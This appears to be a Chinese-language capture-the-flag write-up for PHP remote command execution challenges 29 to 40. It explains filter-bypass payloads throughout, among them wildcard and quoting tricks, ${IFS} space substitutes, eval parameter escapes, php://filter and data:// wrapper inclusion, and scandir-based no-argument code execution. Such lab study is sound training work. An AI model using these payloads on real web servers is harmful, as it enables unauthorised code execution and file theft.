远程命令执行第一天
29

分析
preg_match() 函数可以返回 $pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。
过滤了字符串flag
知识点:
1.linux通配符绕过:*匹配任意字符串/文本,包括空字符串。如 ls list -> ls l*. ?匹配任意一个字符(不在括号内时)
2.[abcd]正则 表示匹配[ ] 里的任何一个字符abcd
3.[a-z] 匹配a-z的任意字符
4.拼接字符串cat file.txt == ca't' f'i'le.txt
5.换行符绕过:cat file.txt = cat f\ile.txt
最终palyload: ?c=system('cat f*');
法一
传入参数 url/?c=system("ls");
可以看见

我们可以改变参数?c=system("cat f*");模糊匹配来达到我们的目的
切记这个命令要返回原来的页面进行输入而不是直接在ls之后的页面输入
法二 原理?
url/?c=system("echo `nl fl''ag.php`");
查看源码,注意markdown反引号隐蔽
法三
利用反引号``执行命令,表示先执行命令ls,再执行命令cat
url/?c=system("cat `ls`"); 有ls出现只有一个文件才能成功
30

分析
禁用了system这个命令执行函数但是我们还有几个常用的函数可以实现一样的功能
system() : passthru() : exec() :shell_exec() :popen() :proc_open() :pcntl_exec() 反引号 同shell_exec():




以上可得palyload:?c=passthru('cat f*'); 或者c=echo `cat f*`;
c=`cp fla?.??? 1.txt`; ?作为占位符,将其保存在1.txt中,输入后访问1.txt即可出现flag
要查看网页源代码

31

#过滤了空格,小数点,升序函数,以及一个查看的命令
分析
知识点:
在linux 空格可以用以下字符串代替: %09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等
在linux中与cat有类似功能的有如下字符 cat,tac,more,less,head,tail,nl,sed,sort,uniq,rev ,/**/,%09太多了随便找个替换
法一:hint
url/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
array用于创建数组
array_reverse将数组倒序输出
pos函数返回数组中当前元素(指针指向)的值
scandir函数返回指定目录中的文件和数组//ls
next将指针指向数组的下一个元素并输出
show_source对文件进行语法高亮显示,是highlight_file()别名//相当于cat
localeconv() 函数返回一包含本地数字及货币格式信息的数组。第一个参数返回. pos指向之后返回了. ls .或 ls ./ 代表显示当前目录的文件
next可以多重嵌套以达到读取多个文件的操作
法二:构造新的执行点
给c传eval($_GET[a])进去,再给a输入代码执行,相当于a逃逸不受过滤控制。这样就不会被过滤了
url/?c=eval($_GET[a]);&a=system(“ls”) 有flag.php
?c=eval($_GET[1]);&1=system("cat flag.php");

最关键是禁用了分号导致无法使用php的一段函数













1.<php? include$_POST[a] ?> 使用?> 闭合php,在里面构造一个新的POST请求,我们在数据post部分调用构造出的a。
2.php伪协议:
php://filter/read=convert.base64-encode/resource=*** 进行文件读取
payload: ?c=include$_POST[a]?> post传参 a= php://filter/read=convert.base64-encode/resource= flag.php
payload: ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
得到base64编码的flag
33

payload: ?c=require$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
34

echo print isset unset include require 这几个常用 的语言结构不需要括号
?c=print$_GET[a]?>&a=phpinfo(); 只会输出 phpinfo(); 只是作为一个字符串写入,在数据段不在代码段
还是用include
一直到三十六都是一个解法
37

把eval换成了include 这个函数会包含文件内容。
知识点:伪协议
file://协议
用于访问本地文件系统,在CTF中通常用来读取本地文件
示例:http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
php://协议
php:// 访问各个输入/输出流,在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码
示例1:php://filter/read=convert.base64-encode/resource=[文件名]
示例2:http://127.0.0.1/include.php?file=php://input [POST DATA部分]
data://协议
通常可以用来执行PHP代码
示例1:http://127.0.0.1/include.php?file=data://text/plain,
示例2:http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B
data://text/plain, 将内容封装成一个文件,后半部分为写入的数据,可以构造命令执行,把执行后的结果经过data数据流封装,再传递给include进行读取。
payload: ?c=data:text/plain,<?= system('tac f*');?>
38
过滤了flag php file
还是用data伪协议,php改为=
终于知道hint里那一串base64编码哪来的了
?c=data://text/plain, system("cat fl*");?>
base64编码就是
PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA=
可骗过过滤
所以也可以用一般的data伪协议 url/?c=
data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA= 看源码即可
39同理
40

这次过滤了很多东西前面的都不能用了,但是他给出了一个eval函数.可以使用无参rce
知识点:
print_r(scandir(‘.’)); 查看当前目录下的所有文件名
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
打印当前目录文件:
?c=print_r(scandir(current(localeconv())));

flag.php在下标为3的数组里,current默认读取第一个元素值所以用到以下知识点:
each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组
最终payload: ?c=show_source(next(array_reverse(scandir(getcwd()))));(指针向前.flag变成3,经过倒序flag变成0就是第一位。所以读取成功)
浙公网安备 33010602011771号